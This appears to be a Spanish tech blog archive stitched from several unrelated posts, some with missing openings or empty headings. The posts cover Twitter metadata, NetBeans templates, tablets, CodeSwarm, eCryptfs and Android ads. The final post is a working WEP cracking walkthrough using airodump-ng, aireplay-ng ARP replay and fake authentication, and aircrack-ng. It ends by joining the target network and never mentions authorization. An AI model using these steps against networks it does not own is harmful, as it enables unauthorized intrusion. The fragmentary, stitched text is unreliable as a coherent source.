Twitter necesita un cambio. No es que no esté bien, que lo está, pero la cantidad de información que gestiona está creciendo muchísimo y creo que necesitan adaptarse un poco mejor. No voy a hablar de cambios a nivel técnico, de eso ya saben mucho ellos mismos y son pioneros en muchas de las técnicas de escalabilidad que se usan hoy en día. Me refiero a cambios a nivel de usabilidad, de cara a lo que los usuarios pueden hacer con dicha información y sobre todo el cómo pueden hacerlo.

El problema ahora reside, principalmente, en catalogar esa información para que resulte útil a la hora de manejarla. Ahora mismo la forma de hacer ésto es mediante los hastags incrustandos dentro del propio tweet, lo que a veces hace que los 140 caracteres se nos queden bastante cortos.

Hace un par de días Twitter anunció que los enlaces que se comparten en twitter no serán parte de los 140 caracteres, lo que apunta que irán en la parte de metadatos, en la anotación del twit correspondiente. De las anotaciones ya hablé en otro post, así que para no repetirme paso a la chicha.

Yo propondría un par de cosas más a meter en esos metadatos:

• Hashtags: yo los metería en las anotación para poder clasificar perfectamente nuestros twits sin tener que recortar la info, ni dejar hashtags sin poner porque no caben. Deberían ser automática heredables al retwitear y que, además, deje añadir hashtags nuevos por cada retweet.
• Relevancia: no definida por el usuario, sino por algún sistema de recomendación interno de twitter. Puede parecer un poco tontería, pero serviría para distinguir tweets similares y poder ordenador una búsqueda de forma similar a como lo hace el pagerank de google en vez de recibir los resultados en el orden temporal que han ido apareciendo.
• Categoría: un valor que no debería venir incluido en el tweet al crearse, sino que podría ser usado para tener colocados nuestros tweets favoritos sin tener que depender de los hashtags para todo.

Yo creo que, sin ser campos obligatorios, serían una buena ayuda para manejar toda información que se genera en twitter. De hecho, no creo que a los chicos de twitter no se les haya ocurrido, sino que dejarán que cada uno añada como anotaciones los campos que quiera, de forma que algunos se convertirán enestándares de facto para todos los usuarios al cabo de un corto tiempo.

El Hardware

El Software

NetBeans tiene una serie de plantillas que utiliza cada vez que generamos un nuevo fichero, en particular la que nos interesa en éste caso es la plantilla que usa cuando creamos una nueva clase java. Para encontrar éste fichero iremos a Tools > Templates bajamos hasta las últimas entradas y desplegamos la que se llama User Configuration Properties que contendrá User.properties que realmente no es más que eso, un fichero properties de java. Lo seleccionamos y pulsamos en la esquina inferior derecha el botón Open in Editor.

Se nos abrirá el fichero en cuestión y en mi caso, NetBeans 6.7.1, me aparecen únicamente comentarios. Si echamos un vistazo veremos que la última línea dice algo así como:

#user = Your Name <your.name at your.org>

La descomentamos quitando el # del principio de la línea y cambiamos el valor por el texto que queremos que aparezca tras la etiqueta @author del javadoc de nuestro código. Ojo! No es necesario ponerlo entre comillas, simplemente poned el texto tal cual.

No estaría demás mirar que más opciones se pueden configurar en éste fichero, igual nos podemos ahorrar trozos de código que metemos en todas las clases (constructores por defecto, constructores copia, sobrecargas del toString, del equals…). Lo que me escama es que no haya ningún diálogo para configurar ésto sin tener que tocar los ficheros aunque vete a saber… viendo lo que acojona la ventana de configuración de netbeans igual si que lo hay

Total, que os presento gpRename una aplicación valiosa, seguro que hay muchas que hacen lo mismo e incluso más cosas y mejor, pero destaco dos cosas especialmente importantes, la opción de preview y la sencillez que tiene.

La opción de preview nos permite ver en la misma aplicación los cambios que se van a hacer en los nombres de los ficheros antes de que se hagan, por si acaso metemos la pata al meter alguna expresión regular o cualquier otro fallo tonto que nos puede complicar la vida. Una vez que la preview sale bien sólo tendremos que pulsar en aplicar para que los cambios se hagan permanentes. Sin duda una gran idea que agradecemos más de uno

Respecto a la sencillez del programa poco se puede decir, juzgad vosotros mismos por el screenshot:

Sólo echo en falta una cosa: poder renombrar por algunas propiedades del fichero: fecha, tamaño, etc…

Acabo de leer la review de un colega, @pabloformoso, sobre éste cacharro en su blog y es lo que ha motivado un poco éste post, precisamente porque ya pensaba que era el único que cree firmemente que se puede leer en una pantalla. Me explico, desde la aparición del iPad y que Apple intentara darle ese toque de “ebook”, que para mi es el punto menos fuerte que tiene, no ha parado de salir gente criticando lo incómodo que es leer en una pantalla.

Vamos a ver, centrémonos, ¿cuántos pasamos más de… 8 horas al día delante de un ordenador? Supongo que de los que estén leyendo ésto (y que se puede extrapolar que es el porcentaje de gente que se plantearía el comprarse un tablet) casi todos levantaríamos la mano. Bien, siguiendo con las horas que pasamos delante del ordenador… ¿no leemos? ¿el ordenador habla telepáticamente con nosotros? Pues claro que leemos, el 80% del tiempo que estamos delante de un ordenador estamos leyendo (exclúyanse aquí los gamers extremos, los adictos a youtube y demás casos rompe-estadísticas)… entonces… si yo a diario leo mis feeds RSS en mi ordenador… ¿por qué no puedo leerlos en un tablet?!? ¿acaso la gente se imprime los feeds y luego se los lee en papel?

Lo que si se necesita, y YA, es una tercera versión de las aplicaciones web. Es decir, leer los feeds en Google Reader usando un ordenador es una gozada, atajos de teclado, buenas proporciones para la lectura, etc… una usabilidad impecable, se nota que los propios desarrolladores usan su aplicación. La versión móvil es otro cantar… no la deben ni mirar de lejos, una auténtica bazofia.

Ahora el tema de los libros… ¿por qué no se puede leer un libro en un tablet? ¿porque se nos cansan los ojos? A ver, voy a hablar de cada caso de críticas a leer en un tablet que me he encontrado:

• “Se me cansan los ojos es mucho mejor un eBook Reader”: Puedo entender que haya casos particulares, pero de todos los que lo he oido se pasan una burrada de tiempo delante de una pantalla, es más bien una excusa para comprarse un juguete nuevo. El único punto que le veo a un eBook antes que a un tablet es el tema de la batería pero claro, sólo puedes leer
• “Yo es que prefiero sentir el papel cuando leo…”: Aquí tenemos el caso extremista, toma ya, “sentir” el papel… sentir, lo vas a sentir cuando nos quedemos sin árboles! xD En serio, ¿alguien prefiere ir hasta la tienda, pagar más por el libro (en breves debería ser así) y luego tener que tirarlo/reclicarlo? Ah, y rezar porque tengan/quede el libro en la tienda! Nadie me va a discutir que es mucho más cómodo comprarlo online, pagar menos, tenerlo en al segundo y poder leerlo en cualquier cacharro que tengas a mano (dejemos el tema del DRM en paz… xD). Y se ponga la gente como se ponga lo importante de un libro es el contenido, no las tapas ni el papel. Si, es un tema que me jode personalmente porque me lo dice la gente que luego veo con un libro en edición de bolsillo!

Total, sé que me compraré un tablet cuando encuentre uno que me reuna ciertas condiciones (y hayan bajado de precio, dudo que se queden en los 400€ de media ) y sé que leeré un huevo con él, pocos libros si, pero mucha información que, quieras o no, la mayor parte la consumimos leyendo y sea sobre el soporte que sea.

Reflexionando un poco… también es verdad que yo soy de los que se llegó a leer un libro entero en un PocketPC, y no he encontrado ninguna app que tenga mejor usabilidad (hablando de comodidad) que el lector de PDFs que el WindowsMobile de aquella… manda cojones… xD

Mola, eh? No es que sea demasiado útil (aunque se puedan sacar ciertos datos “a ojo”) pero queda bonito para ponerlo en el blog del proyecto o en la página de presentación del proyecto. Muy 2.0, como dirían algunos. Siguiendo el link encontraréis las instrucciones para generar vuestros vídeos a partir de cualquier repositorio SVN.

Fuente: Documentación de CodeSwarm

Los vídeos se generan usando la aplicación CodeSwarm, lo primero que vamos a hacer es obtener una copia de ésta aplicación a través de su SVN con el siguiente comando:

svn checkout http://codeswarm.googlecode.com/svn/trunk/ codeswarm-read-only

Ahora que ya tenemos el CodeSwarm tenemos que obtener una copia de trabajo del SVN del que queremos hacer el vídeo. Lo podemos hacer con una orden muy simple, pero acordaros de hacerlo en otro directorio (o un subdirectorio nuevo dentro del de code_swarm) para no liar las cosas y evitar posibles sobreescrituras no deseadas. La sintaxis es sencilla:

svn co direccion_del_SVN .

Ahora, nos introducimos dentro del directorio con la copia de trabajo y pillamos el log, que es lo que usa code_swarm para generar los vídeos:

svn log -v > mylog.log

Una vez tengamos el log no necesitamos más la copia de trabajo, así que podemos borrarla si no la necesitamos para nada más.

Ahora vamos a mover ese fichero mylog.log al directorio convert_logs dentro del directorio de code_swarm y después a convertirlo al formato XML que usa code_swarm con el siguiente comando:

python convert_logs.py -s mylog.log -o activity.xml

Una vez convertido el fichero, lo siguiente es volver al directorio de code_swarm (salir del subdirectorio convert_logs) para ejecutarlo, pero antes, vamos a evitar un error tonto que me he encontrado al usar la última versión. Necesitamos el subdirectorio frames que, por defecto, no viene creado y code_swarm no lo crea en caso de no existir, soltándonos un montón de errores. El subdirectorio frames debe estar dentro del directorio del code_swarm, es decir, al mismo nivel que el subdirectorio convert_logs. Una vez creado podemos ejecutar el fichero run.sh con un simple:

./run.sh

Os preguntará si queréis usar un fichero de configuración distinto al que viene por defecto, en éste caso, para probarlo simplemente pulsad intro y utilizada el que ya existe. La primera vez que lo ejecutéis tendrá que compilar el code_swarm, para ello necesita java y ant, en caso de que os suelte algún error relacionado con no encontrar java (a mi me pasó) es posible que tengáis que utilizar el comando update-alternatives para reconfigurar el ejecutable de java que utiliza el sistema (si estáis en sistemas de 64bits tiene marcado por defecto el java de ia32 y no es capaz de encontrarlo, marcad el que busca code_swarm que lo indica en el mensaje de error).

Después de que se haya ejecutado el code_swarm veréis que tenemos en frames un montón de imágenes en formato PNG. Esas imágenes son los frames que formarán nuestro vídeo, para crear un vídeo a partir de ellos usaremos el mencoder de la siguiente forma (ejecutándolo dentro del subdirectorio frames):

mencoder mf://*.png -mf fps=24:type=png -ovc lavc -oac copy -o video.avi

Hecho ésto tendremos ya el vídeo de nuestro proyecto, ahora sólo os queda subirlo a youtube y compartirlo

Lo que vamos a configurar aquí es un directorio que mantendrá cifrada la información que contiene siempre que el directorio no esté montado, es decir, si el directorio sin montar (o el equipo apagado, ya que al apagar el sistema se desmontan automáticamente todas las unidades), la información estará cifrada, cuando el directorio esté montado, la información estará descifrada y se podrá leer libremente (cosa que también se puede acotar con los permisos del directorio en cuestión).

Vamos a ello, los pasos son bastante sencillos:

• Instalamos las utilidades de EcryptFS

sudo aptitude install ecryptfs-utils

• Creamos el directorio que queremos utilizar y (opcionalmente) le asignamos determinados permisos

mkdir directorio

chmod 700 directorio

• Creamos un sistema de ficheros ecryptfs en el directorio

sudo mount -t ecryptfs directorio directorio

Nos hará una serie de preguntas sobre el algoritmos de cifrado, el tipo de identificación (seleccionar passphrase para hacerlo con una simple contraseña) y la longitud de las claves de cifrado que vamos a usar. Si no sabéis muy bien de que va todo ésto podéis dejar los valores por defecto (cifrado AES de 16bytes).

• Hacemos las pruebas de que todo funciona como es debido
  • Creamos un fichero dentro del directorio con una frase legible:

echo "frase legible" > directorio/fichero

• • Comprobamos que se puede leer dicha frase:

cat directorio/fichero

• • Desmontamos el directorio:

sudo umount directorio

• • Comprobamos que no se puede leer el fichero aunque pueda verse:

cat directorio/fichero

• • Volvemos a montar el directorio (los valores pueden cambiar según lo seleccionado al crear el volumen):

sudo mount -t ecryptfs directorio directorio -o key=passphrase:passwd=nuestra_clave, ecryptfs_cipher=aes, ecryptfs_key_bytes=16, ecryptfs_passthrough=n

• • Comprobamos que puede volverse a leer:

cat directorio/fichero

• Añadimos el directorio al fstab para que el proceso sea más cómodo

Editamos el fichero /etc/fstab y añadimos una línea similar a las ya existentes con la información necesario para montar el volumen, por ejemplo, algo parecido a ésto:

/root/secure /root/secure ecryptfs y en la última columna las opciones que pueden obtenerse ejecutando un mount | grep directorio cuando el directorio está montado (son la parte que viene entre paréntesis. Deberemos cambiar el key=passphrase por key=passphrase:passwd=nuestra_clave si no queremos tener que introducir siempre nuestra clave. Podemos también añadir la opción defaults para que el volumen se monte automáticamente en cada arranque del equipo (aunque ésto nos restará seguridad siempre que el ordenador esté encendido).

Básicamente ésto es todo, espero que si os hace falta os haya quedado bastante claro, en caso de no ser así no tengáis miedo en preguntar en los comentarios

Fuente: Tombuntu – Create an Encrypted Private Directory with eCryptfs

Éste tema me ha venido a la cabeza a partir de un post de El Android Libre sobre la app Manga Browser, que nada tiene que ver el post, pero sí uno de los comentarios de dicha entrada (el primero, del usuario Jesus) cuyo sentimiento comparto totalmente: A mi me parece una forma sensacional de motivar a los desarrolladores de aplicaciones.

Hay muchas aplicaciones en Android que son muy buenas, que tienen muchos usuarios, que se vuelven incluso imprescindibles en tu bolsillo y de repente… empiezan a cosechar malas críticas, los usuarios se quejan de ellas, se recomienda no actualizar a futuras veriones (WTF?!)… hasta llegan a denunciarse como aplicaciones malintencionadas! Todo ello porque después de actualizarlas, la gente se encuentra con que tienen publicidad. Manda cojones! Es como si el panadero me diera el pan gratis a cambio de llevarlo en una bolsa que hace publicidad de su panadería y encima yo le dijera que a ver de qué cojones va!

Lo mejor de todo es que muchas de éstas aplicaciones tienen un modelo de negocio basado en dos versiones: la gratuita, con publicidad, y la de pago, sin publicidad. Me parece muy bien que te moleste la publicidad en esa aplicación que tanto usas, entonces compra la versión de pago! Además de quitarte de en medio la dichosa publicidad (que oyendo a más de uno, parece que les arrancara los ojos de cuajo xD) estarás ayudando a que esa aplicación se siga desarrollando y mejore.

Esas quejas sobre la inclusión de publicidad en aplicaciones gratuitas no tienen ningún sentido, ya me gustaría a mi que cuando fuera al supermercado me dijeran: “Mira, puedes pagar la compra y llevártela en éstas bolsas blancas, o puedes llevártela gratis si te la llevas a casa en éstas bolsas con publicidad”. Vamos, hasta me conformaría con lo primero! xD

En resumen, la cultura popular nos dice que, si eres desarrollador de software, lo haces porque “te gusta” y no deberías poder vivir de ello. Nos ha jodido! claro que me gusta, más que nada porque si lo que me gustase fuera arreglar tuberías, me habría hecho fontanero!

Además, seguro que los que critican no se han parado siquiera a pensar que, salgo las aplicaciones desarrolladas por empesas (que supongo que tendrán su modelo de negocio para sacar buenos beneficios), esa publicidad le va a dar al desarrollador la suficiente pasta como para… tomarse un par de cervezas supongo. Eso sin contar con que gracias a éstos métodos de financiación tenemos un Android Market donde el 60% de las aplicaciones son gratuitas, frente a la App Store, en la que los usuarios del iPhone pueden disfrutar de sólo un 20% de aplicaciones gratuitas.

Total, que voy a irme de tiendas, a ver si en algún lado consigo una de las dos cosas: que me dejen llevarme los productos que quiera sin pagar, a cambio de hacerles publicidad, o que me den una bolsa sin publicidad para llevármelos después de pagarlos. Ya os contaré que tal me va… xDDD

El caso es que he conseguido que funcione, fué una putadilla buscarlo, porque mira que hay tutoriales diversos, desde los más breves que no te funcionan hasta los que te explican cada byte que tienes que procesar para conseguir pillar los paquetes (que es donde de verdad está el meollo de la cosa porque el crackeo es pura rutina )

En fin, aquí se queda, y si de paso le viene a alguien mejor todavía

1.- Poner la tarjeta en modo “monitor”.

ifconfig <device> down
iwconfig <device> mode monitor
ifconfig <device> up

2.- Empezar a capturar paquetillos de la red en cuestion.

airodump-ng --channel <canal> --bssid <mac_del_router> --write <nombre_del_fichero> <device>

Donde el <canal> y la <mac_del_router> los podéis sacar de un simple escaneo de redes o ejecutando el airodump-ng sin argumentos. El <nombre_del_fichero> es el nombre que queráis darle al fichero de salida.

Veremos una columna que se llama algo como “#Data”, esos son los paquetes que nos interesan, veremos que aumentan muy despacio, pero con la inyección de tráfico conseguiremos meterles prisa

3.- Provocar más tráfico.

No es especialmente necesario, pero acelera el proceso bastante. Yo tuve la suerte de tener un equipo generando tráfico en la red para poder poder ARPs y reinyectarlos, así que supongo que se podrá hacer de alguna otra forma en caso de que la red no se esté usando… (si sabéis cómo, sed majos y dejad un comentario ).

aireplay-ng --arpreplay -b <mac_del_router> -h <nuestra_mac> <device>

Haciendo ésto me salió un error que decía algo como “deauthenticated”, vamos, que el router me echaba para atrás. Para solucionarlo hacía un intento de registro en el router cada cierto tiempo:

aireplay-ng -1 <delay> -o <núm_de_paquetes> -q <segs_entre_envíos> -e <nombre_de_la_red> -a <mac_del_router> -h <nuestra_mac> <device>

No sé muy bien que diferencia hay entre el <delay> y el <seg_entre_envíos>, yo puse 6000 y 10 respectivamente (que es lo que ví buscando por ahí).

4.- Paciencia.

No está claro la cantidad de #Data que hay que conseguir, yo lo dejé un ratejo y con la ventaja de poder generar tráfico desde dentro de la red y además poder reinyectarlo, cuando quise darme cuenta andaba ya por los 85.000 paquetes de #Data. En teoría debería poderse hacer algo ya con 30.000, pero ni idea

5.- Crackeando la clave.

El comando simple hace lo más jodido, con un simple:

aircrack-ng <nombre_de_fichero>

Intentará crackear la clave y, de conseguirlo, nos la mostrará en pantalla sin tardar casi nada. Listo, ahora sólo nos queda conectarnos a la red usando esa clave